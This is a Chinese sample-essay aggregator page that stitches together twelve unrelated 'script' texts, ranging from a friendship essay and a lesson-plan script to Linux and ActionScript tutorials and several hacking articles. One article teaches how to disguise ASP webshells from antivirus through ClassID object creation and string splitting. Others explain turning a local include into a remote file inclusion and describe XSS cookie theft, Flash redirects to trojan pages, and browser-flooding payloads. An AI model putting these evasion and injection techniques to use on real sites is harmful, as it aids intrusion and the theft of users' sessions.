脚本范文

时间:2022-04-29 11:20:23 其他范文 收藏本文 下载本文

“百年孤寂”为你分享12篇“脚本范文”,经本站小编整理后发布,但愿对你的工作、学习、生活带来方便。

脚本范文

篇1:脚本

不能轻易进入对方的世界,对方也不能轻易找到的通道。

这就是我的友情。

寡淡而过渡。

我是很小心眼的。为了一点和自己过意不去的小事情就生气,却在下一秒就原谅了对方。如果实在太纠结,那也只可能是因为某个问题自己暂时还没有想通而已。比如为什么要插列;为什么这么势利;为什么爱跟我学等等。

习惯给喜欢的东西取一个亲切的名字,或以特殊的称谓进行交流。

比如:小西=罗茜、魔拉=一块大草坪、大妞=黄可磊、人气小天后=琴姐……

男么么、女么么、z、春天、招牌动作、雕牌透明皂、西西、胖大海、阿长、阿短、打波e、蛋挞、……还有至今未想好名字的胡同学。

当然还包括白菜的那一帮帮菜头儿们。

我的友谊网像一个大筛子,遇到的很多,最终没被过滤掉的很少。

我不知道是不是我太过敏感、太过愚钝,还是没人能把握好我脾气变化的周期。总之、我不适合有太多朋友。

经过初中冗杂的小女生的生活,那些种种:力力、钟瑷琳、琴姐、papa、yo姐……不管怎样笼统地分出好人坏人,都渐渐让我看清,没有真正的友谊。像在钟瑷琳的事发生以后我在日记中写道:“朋友只是由于暂时地拥有共同的利益而上了同一条船。而那些断然认为的知己,只是因为他们的利益比较纯粹罢了。”

篇2:什么是脚本

脚本是批处理文件的延伸,是一种纯文本保存的程序,一般来说的计算机脚本程序是确定的一系列控制计算机进行运算操作动作的组合,在其中可以实现一定的逻辑分支等,脚本程序相对一般程序开发来说比较接近自然语言,可以不经编译而是解释执行,利于快速开发或一些轻量的控制。现在的脚本语言是比较多的,一般的脚本语言的执行只同具体的解释执行器有关,所以只要系统上有相应语言的解释程序就可以做到跨平台,

脚本(Script),就是含有bind和alias等命令的集合,你可以把这个集合存为一个独立的文件然后在需要的时候执行,这样就可以方便你在CS中的使用。脚本可以存为后缀名为.cfg的文件放在cstrike文件夹下,执行时在控制台输入:exec(脚本文件名).cfg即可。比如将一个脚本存为buys.cfg文件,则在控制台中输入:execbuys.cfg则可以实现我们所需要的功能。要实现一个命令只要把这一过程定义(alias)好,并且分配一个键位给这个命令,以后只要按分配好的键位,就可以实现这一过程。所有的脚本都是通过这一方法实现的。

篇3:小议脚本变形

作者:SuperHei 来自:安全天使:http://www.4ngel.net

脚本攻击在网络安全中永远是个“重头戏”,由此产生的各种攻击性脚本如vbs/js脚本,各种webshell 尤其是webshell是web入侵中必不可少的工具,现在的webshell版本繁多,功能越来越强,这也成为管理员防范和各大杀毒软件追杀的目标。

下面我以asp的webshell为例子简单说下脚本的变形思路:

1.classid的使用

aspshell里的常用的对象名往往是杀毒软件采用的特征码,管理员也可以通过修改注册表,来改变asp对象的名称,但是没个asp对象在系统里有个规定的classid(ps:classid在各个系统有所不同)那么我们就可以通过classid来建立对象,如我们通常建立fso对象是采用下面的语句:

Set hh=Server.CreateObject(“Scripting.FileSystemObject”) 那么通过查找“Scripting.FileSystemObject“ 来查杀你的脚本,那么我们就可以通过fso对应的classid来建立:

这样还有个好处就是即使管理员改fso的名字,也可以使用。

以下是常用对象对应的classid:

WSCRIPT.SHELL 72C24DD5-D70A-438B-8A42-98424B88AFB8

WSCRIPT.NETWORK 093FF999-1EA0-4079-9525-9614C3504B74

Scripting.FileSystemObject 0D43FE01-F093-11CF-8940-00A0C9054228

Scripting.Encoder 32DA2B15-CFED-11D1-B747-00C04FC2B085

Scripting.Dictionary EE09B103-97E0-11CF-978F-00A02463E06F

adodb.stream 00000566-0000-0010-8000-00AA006D2EA4

shell.application 13709620-C279-11CE-A49E-444553540000

2.使用+或&连接符的妙用

杀毒软件一般是提高提取特征码来查杀病毒的,所以asp对象名一般就成为了“特征码”了,

我们就可以通过使用+或&来拆分对象名。如:

Set hh=Server.CreateObject(”Scripting.FileSystemObject“)

我们就可以提高下面的语句替换:

Set hh=Server.CreateObject(”Scrip“+”ting.file“+”systemobject“)

Set hh=Server.CreateObject(”Scrip“&”ting.file“&”systemobject“)

值得一提的是“思易ASP木马追捕”也是一个有asp编写的脚本,用来查杀webshell的,这个脚本先替换掉目标代码里的&在进行查找对象名,那上面简单的使用&就没用了,不过我们可以同过插入空变量来防杀:

Set hh=Server.CreateObject(”Scrip“&”ting.file“&qsdsdsdf&”systemobject“)

其中qsdsdsdf就为空变量,即使替换了所有的&,对象名还是有改变。

3.改变字母大小写(本文的重点所在)

其实要通过改变字母的大小写来改变特征码,大小写对应的asii或其他的编码也不同,这样我们可以到达防杀的目的。实现起来也简单,一个系统自带的“记事本”就可以搞定,不过这样要手工一个字母的去替换,你可以自己写个简单的程序帮助你处理,不过注意的问题是,有的代码里有密码加密的函数会受到影响,还有对shell里的htm代码有影响,建立在变形事,采用部分变形(改变大小写)。下面是我vb写的一个变形工具。

PS:程序只是替换了指定的几个字母,还有就是加入空变量(见2). 如果你编程够好的话,你可以写个程序可以随机改变大小写的,还有部分变形代码。

相关附件: bx.rar (63.52 K)

篇4:关于defined脚本安全

很多php使用defined来防止外部直接访问php文件,从而保证了只让内部php文件include等调用,如下面:

//tag.php

if (!defined(”X“)) {

echo ”You Cannot Access This Script. Directly, Have a Nice Day.“;

exit();

}

?>

这样的代码可以解决很多的安全问题,比如变量未定义[应该说在本文件内未定义]。

但是这样的在本地包含漏洞前就没什么意义了。比如进来看一代码

common.php文件里:

if ( !defined('X') )

{

die('Do not access this file directly.');

}

if ( !isset($root_path) )

{

$root_path = './';

}

require_once($root_path . 'config.php');

如果没有!defined('X') 的限制那么我们,这里$root_path未定义导致了一个远程包含,

而在改脚本又存在一个update-->include的2次攻击导致的本地包含,那么我们可以通过这个本地包含漏洞包含common.php导致突破!defined('X'),转化为远程包含。

篇5:详述脚本攻击

说明:本文类属技术探讨,没有兀现测试站点的必要,故将相关信息隐去,

详述脚本攻击

武学之中, 出其不意、剑走偏锋才能发挥灵巧之长。在防火墙广泛地应用于网络之间执行访问控制策略的今天,以往被漠视的CGI安全悄然兴起,形形色色的脚本攻击在防火墙的认同下大行其道,

篇6:XSS 攻击常用脚本

XSS 攻击常用脚本,大家可以了解xss攻击的一些知识做好网站安全防范,

1、这个应该都知道

2、

这句代码将会弹出壹个包含有浏览者cookie信息的对话框,如果用户已经通过帐号登陆网站,在显示的cookie信息中将会包含有用户的账户名和密码。

3、,当用户浏览该 页时,将弹出壹个高��200,宽��200的网页窗口,在其中打开的页面是http://www.pete.cn/default.asp

4、跨站攻击的形式是多样的,不仅可以在网页中插入跨站脚本代码,而且可以在flash文件中插入跨站脚本代码,实现跨站攻击。由于flash文件有较高 的安全性,用户通常对flash文件的警惕性不够,因此用flash文件进行跨站攻击的成功率很高。如果将这个含有跨站脚本代码的flash文件插入到网 页中,例如制作成网页banner或者广告,那么中招的用户将更多。

flash跨站是通过在flash文件中插入动作脚本来实现的,通过在flash文件“帧”的“动作”中插入跨站脚本代码来实现跨站攻击,其实现方法入下:

首先运行flash文件制作工具flash8.exe,新建壹个空白的flash文档。然后选中其中的第壹帧,进入界面下方的“动作”编辑界面,在Action Script中插入我们的跨站脚本代码

getURL(”http://网页木马地址“, ”_blank“, ”GET“);

loadMovieNum(”http://www.pete.cn/test.swf“, 0);

5、< iframe.>

这就是 传说中的框架 - - 膜拜吧 还有JS 也可以使用,比框架更隐蔽

6、Refresh到另壹个页面:

7、scriptlet引入另壹个页面:

------------------------------------------------------------------------------------------------------------

下面来几段长的 但是 记住 要慎用 !!

1、打开无数个浏览器窗口,直至CPU超负荷,非关机不可:

2、

修改注册表(IE 主页):

有时候,

我最后要说的壹句话就是“害人终害己”,切记!

篇7:编写Linux脚本

以下是重启Linux下某进程的shell脚本,以tomcat进程为例:

#!/bin/shpid=`ps -ef|grep tomcat|grep -v grep|awk '{print $2}'`if [ ”$pid“ = ”“ ] ; then echo ”tomcat service does not start!“else kill -9 $pid pid1=`ps -ef|grep tomcat|grep -v grep|awk '{print $2}'` if [ ”$pid1“ = ”“ ] ; then echo ”Successfully kill tomcat processes: “ $pid else echo ”tomcat kill process failed!“ exit 1 fifirm -rf /opt/tomcat/work/*./startup.shpid2=`ps -ef|grep tomcat|grep -v grep|awk '{print $2}'`if [ ”$pid2“ = ”“ ] ; then echo ”tomcat service failed to start!“else echo ”tomcat service starts successfully:“ $pid2fi

篇8:课件制作脚本

关于课件制作脚本范例

第一部分教学设计流程图

第二部分脚本设计思路说明

一.课件封面

1.用flash制作成全景动画----桂林山水;

2.动听的牧童短笛音乐;

3.动态的文本。

二.导入新课

1.投影出示关于黄鹂的四首古诗词。学生默读以后齐声朗读一遍。??两个黄鹂鸣翠柳,一行白鹭上青天。(唐·杜甫《绝句四首》之一)

独怜幽草涧边生,上有黄鹂深树鸣。(唐·韦应物《滁洲西涧》)

池上碧苔三四点,叶底黄鹂一两声,日长飞絮轻。(宋·晏殊《破阵子》)

千里莺啼映红,水村山郭酒旗风。(唐·杜牧《江南春》)

很显然,形态清丽、叫声婉转的黄鹂很受古代诗词大家的青睐,它几乎约定俗成为美好事物的象征。那么,黄鹂在当代著名小说家、散文家孙犁先生的笔下,又是怎样的呢?提示学习重点,进入主画面。

三.主面面内容设计

1.学习方法及步骤

听读课文-----解剖结构;

品读课文-----鉴赏语言;

研读课文-----探讨主旨

2.听读课文,思考问题

①播放课文录音;②出示思考题;③学生填表把握内容。

3.品读课文,鉴赏语言

①关键语段之修辞品味;②对精彩语言的仿写创造;③对课文哲理的仿写与创造。

4.研读课文,探讨主旨

①以上我们整体把握了文章的主体描写部分。我们作一个假设,如果本文就只有前面23段文字,那么,根据我们刚才分析的情况和对比的结构,我们可以归结出本文怎样的主旨呢?

学生讨论交流回答:呼唤为黄鹂创设优美和谐的生活环境。

②很显然,作者花如此多的笔墨,渲泻了如此充沛的激情,绝不可能是仅仅为了一个鸟类,应该有其更多更深的寓意。齐读第24段和第25段的第1句。想想,这一部分联系前面的描写对本篇写作主旨的认识是不是会有新的发现呢?

学生讨论交流回答:呼唤为黄鹂乃至各种美好事物创设优美和谐的生活环境。

③接着再看文章最末的两句话。从这两句话是否可以推断出作者另外的寓意呢?

学生讨论交流。老师归结:原来,借助黄鹂的故事,作者或许也还想演绎一条艺术创作的规律在艺术创作中,应为典型人物创设和谐相应的典型环境。

④.阶段小结,以上我们按照阅读的一般规律和过程,通过把握文章整体,揣摩关键句段等方法已经获得了本文寄寓的几方面的主旨。除了第一点,由于未曾联系到结尾语段,把握上有所局限外,其余两点概括,应该是正确的。有同学要问,一篇文章,怎么会有几个主题呢?实际上,优秀的文学作品,有很多都是多主题、多寓意的,这就是我们常说的:文学主题多元化(板书)。

而且,不知同学们注意到没有,我们刚才的分析自始至终是扣住作品本身的,几乎没有考虑联系作品之外的因素。比如就没有提及孙犁先生写作本文时的背景材料。我们把这种只重文学作品本身,基本不考虑作品之外因素的阅读,称为主观性阅读(板书),而把那种既考虑作品又特别注重作品写作背景因素的阅读叫做实证性阅读(板书)。

⑤.我们已经成功地进行了一次主观性阅读,大家一定有兴趣乘胜前进,再作一次实证性阅读的旅行。请看孙犁先生写作本文的有关背景材料。出示投影片五。

《黄鹂》写作背景:

本文写于1960年前后,其时孙犁先生49岁。自从1956年写完小说《铁木前传》之后,他再也不写小说了。这固然与一场大病有关,但可能还有更深的时代社会政治原因。

他在后来的《说赵树理》一文中描述那个年代赵树理的处境与心境:政治斗争的形势,也有变化。上层建筑领域,进入了多事之秋,不少人跌落下来。作家是脆弱的,也是敏感的。他兢兢业业,唯恐有什么过失,引来大的`灾难。这说的更多的恰恰也是孙犁自己。

他在《文虑》一文中说:目前为文,总是思前想后,顾虑重重,环境越来越宽松,人对人越来越宽容,创作越来越自由,周围的呼声越高,我却对写东西越来越感到困难,没有意思,甚至有些厌倦了。大家联系文章的整体描写和议论再来看看,文章还应该有着怎样的寄寓呢?

交流回答:呼唤为作家等一切人才(人)的成长、发展创设安全、平和、自由的环境,以使他们充分尽情地展示其全部的聪明才智。

⑥.主题概括比较与小结:

(1)呼唤为黄鹂创设优美和谐的生活环境。

(2)呼唤为各种美好事物创设优美和谐的生活环境。

(3)在艺术创作中,应为典型人物创设与之和谐相应的典型环境。

(4)呼唤为人(人才)的成长、发展创设安定、平和、自由的环境。

四.课件结尾

再来一遍或退出页面。

篇9:脚本怎样流动

动作脚本遵循逻辑流动,Flash执行动作脚本语句,从第一句开始,然后按顺序执行,直至到达最后的语句或指令跳转到其它地方的语句。把ActionScript送到某个地方而不是下一语句的一些动作是if语句、do...while循环和return动作。

if..else动作的流程图

do..while动作的流程图

if语句称为条件语句或“逻辑分支”,因为它依据某个条件的计算结果控制着脚本的流向。例如,以下的代码检查number变量的值是否小于或等于10。 如果检查结果返回true(例如number的值为5),变量alert被设置,并在文本输入域中显示它的值。如下所示:

if (number $#@60;= 10) {

alert = ”The number is less than or equal to 10“;

}

也可以在上例中加入else语句,创建一个更复杂的条件语句。在下面的例子中,如果条件的返回值为true(例如number的值为3),第一对大括号中的语句被执行,且第二行中的变量alert被设置,

如果条件的返回值为fasle(例如number的值为30),第一代码块被跳过,else语句后的大括号中的语句被执行。 如下所示:

if (number $#@60;= 10) {

alert = ”The number is less than or equal to 10“;

} else {

alert = ”The number is greater than 10“;

}

循环重置执行动作数次或直到某个条件满足。在下面例子中,电影剪辑被复制5次:

i = 0;

do {

duplicateMovieClip (”myMovieClip“, ”newMovieClip“ + i, i);

newName = eval(”newMovieClip“ + i);

setProperty(newName, _x, getProperty(”myMovieClip“, _x) + (i * 5));

i = i + 1;

} while (i $#@60;= 5);

篇10:linux限速脚本

#!/bin/bash

tc qdisc del dev eth2 root

tc qdisc add dev eth2 root handle 2: htb

tc class add dev eth2 parent 2: classid 2:1 htb rate 100Mbit

i=1;

while [ $i -lt 248 ]

do

tc class add dev eth2 parent 2:1 classid 2:2$i htb rate 4000kbit ceil 6000kbit burst 15k

tc qdisc add dev eth2 parent 2:2$i handle 2$i: sfq

tc filter add dev eth2 parent 2:0 protocol ip prio 4 u32 match ip dst 10.200.1.$i flowid 2:2$i

tc filter add dev eth2 parent 2:0 protocol ip prio 4 u32 match ip dst 10.200.2.$i flowid 2:2$i

tc filter add dev eth2 parent 2:0 protocol ip prio 4 u32 match ip dst 10.200.3.$i flowid 2:2$i

i=`expr $i + 1`

done

篇11:shell脚本学习

1111111111111清除/var/log下messages日志文件的简单命令脚本

/var/log/下日志文件时系统文件,必须有root权限:

$UID是系统的全局变量:

make && make install 表示前面成功了,执行后面的

make || make install 表示前面不成功,执行后面的

清空日志的三种方法:适合保留文件,清空内容的场合

①echo ” “>test.log或echo > test.log

②>test.log

③cat /dev/null > test.log

22222222222:shell脚本的基础知识

shell是弱类型语言:(语法宽松,不严格)较为通用

通用的shell有标准的Bourne shll(sh)和c shell(csh)其中Bourne shell(sh)已经被bash shell取代

shell脚本的建立:

tac /etc/init.d/nfs 将文件倒着显示

相当于:head -1 /etc/init.d/nfs

①脚本开头

一个规范的shell脚本的第一行会指出由哪个程序(解释器)来执行脚本中的内容,在

333333333333linux bash 编程中一般为:

①解释器

#!/bin/bash

#!/bin/sh

②在linux下sh 相当于bash,

#!又称幻数,在执行bash脚本的时候,内核会根据它来确定用哪个程序来解释脚本中的内容

,这一行必须在脚本顶端的第一行,如果不是第一行,则为注释

Centos.和RedHat linux下默认的shell均为bash

④如果脚本的开头不指定解释器,那么,就要用对应的解释器来执行脚本

脚本注释

#号

444444444444444shell脚本的执行

shell脚本的执行

当shell脚本以非交互的方式运行时,它会先查找环境变量ENV,该变量指定了一个,环境文件(通常是.bashrc),然后从改环境变量文件开始执行,当读取了ENV文件后,SHELL才开始执行shell脚本中的内容,

shell脚本学习

Shell脚本的执行通常可以采用以下三种方式:

①bash script-name或 sh script-name(推荐使用)

②path/script-name或./script-name(当前路径下执行脚本)

③source script-name或. script-name# 注意点号

第一种方法是当脚本文件本身没有可执行权限(即文件X位为-号)时常使用的方法,这里推荐用bash执行,或者文件开头没有指定解释器,

第二种方法需要先将脚本文件的权限改为可执行(即文件加X位),具体方法:chmod u+x

script-name 或者chmod 755 script-name然后通过脚本路径,就可以直接执行脚本了

第三种方法通常是使用source或者”.“ 号读入或加载指定的shell脚本文件语句,,然后,依次执行指定shell脚本文件san.sh中的所有。语句将作为当前父shell脚本father.sh进程的一部分运行,因此,使用source或者“.”点号等的可以将san.sh自身脚本中的变量的值,或者函数等的返回值传递到当前的父shell脚本father.sh中使用,这是第三种方法和前两种方法的最大区别

通过source 或”.“ 点号加载执行过的脚本,在脚本结束后脚本中的变量(包括函数)值,在当前shell中依然存在,而sh和bash则不行,因此,在做shell脚本开发时。如果脚本中有需求引用其他脚本的内容,或者配置文件时,做好用“.” 点号或者source在脚本开头加载改脚本或配置文件,然后在下面的内容用可以调用source加载的脚本及文件中的变量及函数等内容。

笔试题:

已知如下命令及返回结果,请问echo $user的返回的结果为

[oldboy@test~]cat test.sh

[oldboy@test~]user=`whoami`

[oldboy@test~]sh test.sh

篇12:linux上传限速脚本

以下脚本可用于对服务器进行上传限速,当业务使用处于高峰期时,为不影响业务的正常使用,限制上传速度,保证能正常提供服务,

原理是使用linux中的TC(流量控制模块)实现限速功能。

脚本的使用如下:

启动:sh limit.sh start 200 (限制上传速度为200kb/s)

停止:sh limit.sh stop

#!/bin/bash#a simple example for ”tc“#set the paramDELAY=20SPEED=$2FLOW=0#出口网卡NETWORK_CARD=$(ip ro get 115.29.128.27 | grep eth | awk '{print $5}')#服务器IPIP_ADDRESS=115.29.128.28start () { /sbin/tc qdisc add dev ${NETWORK_CARD} root handle 1: htb default 25 /sbin/tc class add dev ${NETWORK_CARD} parent 1: classid 1:1 htb rate ${SPEED}kbps /sbin/tc qdisc add dev ${NETWORK_CARD} parent 1:1 netem delay ${DELAY}ms ${FLOW}ms /sbin/tc filter add dev ${NETWORK_CARD} parent 1: protocol ip prio 1 u32 match ip dst ${IP_ADDRESS}/32 flowid 1:1}stop () { /sbin/tc qdisc dele dev ${NETWORK_CARD} root}case ”$1“ in start) start ;; stop) stop ;; *) echo ”Usage: `basename $0` {start|stop} speed(kb/s)"esac

Linux UDP反弹shell脚本脚本安全

Perl 脚本的特点数据库教程

也谈跨站脚本攻击与防御脚本安全

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爆破字典生成小脚本脚本安全

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